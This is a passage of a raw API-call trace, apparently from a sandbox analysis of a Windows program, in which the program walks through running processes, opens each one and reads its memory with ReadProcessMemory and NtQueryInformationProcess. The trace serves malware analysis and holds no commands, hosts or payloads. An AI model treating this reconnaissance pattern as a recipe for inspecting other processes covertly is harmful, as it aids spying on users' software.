dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0288.989] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0289.005] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x214) returned 0x0 [0289.005] CloseHandle (hObject=0x0) returned 0 [0289.006] _ui64tow_s (in: _Value=0x21c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="540") returned 0x0 [0289.023] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="540") returned 3 [0289.024] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0289.024] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0289.041] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x21c) returned 0x16c [0289.041] GetLastError () returned 0x0 [0289.043] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0289.043] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x72f69a3018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0289.043] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0289.043] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d0c58032b0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0289.044] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d0c5802f08, lpBuffer=0x2dc22fc240, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0289.045] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0289.047] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0289.047] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x72f69a3020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0289.047] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d0c58028f0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0289.047] malloc (_Size=0x3e) returned 0x20abc27cf80 [0289.048] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d0c5802f44, lpBuffer=0x20abc27cf80, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc27cf80*, lpNumberOfBytesRead=0x0) returned 1 [0289.048] free (_Block=0x20abc27cf80) [0289.049] CloseHandle (hObject=0x16c) returned 1 [0289.050] _ui64tow_s (in: _Value=0x274, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="628") returned 0x0 [0289.054] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="628") returned 3 [0289.057] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0289.057] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0289.074] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x274) returned 0x16c [0289.074] GetLastError () returned 0x0 [0289.075] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0289.075] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x252b60c018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0289.076] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0289.076] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x15e739033e0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0289.076] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x15e73903048, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0289.077] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0289.079] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0289.079] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x252b60c020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0289.079] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x15e73902a30, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0289.080] malloc (_Size=0x5e) returned 0x20abc2801b0 [0289.080] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x15e73903088, lpBuffer=0x20abc2801b0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0289.080] free (_Block=0x20abc2801b0) [0289.081] CloseHandle (hObject=0x16c) returned 1 [0289.081] _ui64tow_s (in: _Value=0x294, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="660") returned 0x0 [0289.086] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="660") returned 3 [0289.087] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0289.087] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0289.104] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x294) returned 0x16c [0289.105] GetLastError () returned 0x0 [0289.106] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0289.106] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xab53d9d018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0289.106] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0289.106] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2aaa9303450, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0289.107] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2aaa93030c8, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0289.108] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0289.109] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0289.110] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xab53d9d020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0289.110] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2aaa9302ab0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0289.110] malloc (_Size=0x54) returned 0x20abc2a7600 [0289.110] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2aaa9303108, lpBuffer=0x20abc2a7600, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a7600*, lpNumberOfBytesRead=0x0) returned 1 [0289.111] free (_Block=0x20abc2a7600) [0289.111] CloseHandle (hObject=0x16c) returned 1 [0289.112] _ui64tow_s (in: _Value=0x304, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="772") returned 0x0 [0289.116] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="772") returned 3 [0289.117] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0289.117] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0289.133] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x304) returned 0x16c [0289.134] GetLastError () returned 0x0 [0289.135] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0289.135] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x14042d3018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0289.135] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0289.135] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1b67c9c19f0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0289.136] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1b67c9c16e8, lpBuffer=0x2dc22fc240, nSize=0x38, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0289.137] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0289.139] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0289.139] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x14042d3020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0289.139] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1b67c9c10d0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0289.139] malloc (_Size=0x16) returned 0x20abc282060 [0289.139] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1b67c9c1720, lpBuffer=0x20abc282060, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282060*, lpNumberOfBytesRead=0x0) returned 1 [0289.139] free (_Block=0x20abc282060) [0289.140] CloseHandle (hObject=0x16c) returned 1 [0289.140] _ui64tow_s (in: _Value=0x364, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="868") returned 0x0 [0289.145] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="868") returned 3 [0289.146] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0289.146] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0289.188] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x364) returned 0x16c [0289.188] GetLastError () returned 0x0 [0289.189] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0289.189] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x14a30a018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0289.189] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0289.190] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x11bea6033e0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0289.190] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x11bea603048, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0289.191] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0289.193] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0289.193] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x14a30a020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0289.193] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x11bea602a30, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0289.193] malloc (_Size=0x58) returned 0x20abc2a7420 [0289.193] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x11bea603088, lpBuffer=0x20abc2a7420, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a7420*, lpNumberOfBytesRead=0x0) returned 1 [0289.194] free (_Block=0x20abc2a7420) [0289.195] CloseHandle (hObject=0x16c) returned 1 [0289.195] _ui64tow_s (in: _Value=0x37c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="892") returned 0x0 [0289.199] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="892") returned 3 [0289.201] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0289.201] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0289.217] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x37c) returned 0x16c [0289.217] GetLastError () returned 0x0 [0289.218] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0289.218] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc818199018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0289.218] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0289.219] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1cb23f03470, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0289.219] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1cb23f030c8, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0289.220] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0289.222] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0289.222] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc818199020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0289.222] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1cb23f02ab0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0289.222] malloc (_Size=0x74) returned 0x20abc282120 [0289.222] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1cb23f03108, lpBuffer=0x20abc282120, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0289.223] free (_Block=0x20abc282120) [0289.224] CloseHandle (hObject=0x16c) returned 1 [0289.225] _ui64tow_s (in: _Value=0x390, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="912") returned 0x0 [0289.229] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="912") returned 3 [0289.230] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0289.230] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0289.246] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x390) returned 0x16c [0289.246] GetLastError () returned 0x0 [0289.247] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0289.247] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc222932018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0289.248] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0289.248] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22f94f03480, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0289.248] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22f94f030c8, lpBuffer=0x2dc22fc240, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0289.249] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0289.251] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0289.251] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc222932020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0289.251] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22f94f02ab0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0289.251] malloc (_Size=0x84) returned 0x20abc2aacc0 [0289.251] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22f94f03108, lpBuffer=0x20abc2aacc0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aacc0*, lpNumberOfBytesRead=0x0) returned 1 [0289.252] free (_Block=0x20abc2aacc0) [0289.253] CloseHandle (hObject=0x16c) returned 1 [0289.254] _ui64tow_s (in: _Value=0x3a0, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="928") returned 0x0 [0289.258] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="928") returned 3 [0289.259] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0289.259] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0289.277] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3a0) returned 0x16c [0289.277] GetLastError () returned 0x0 [0289.279] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0289.279] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2832795018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0289.279] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0289.279] ReadProcessMemory (in: 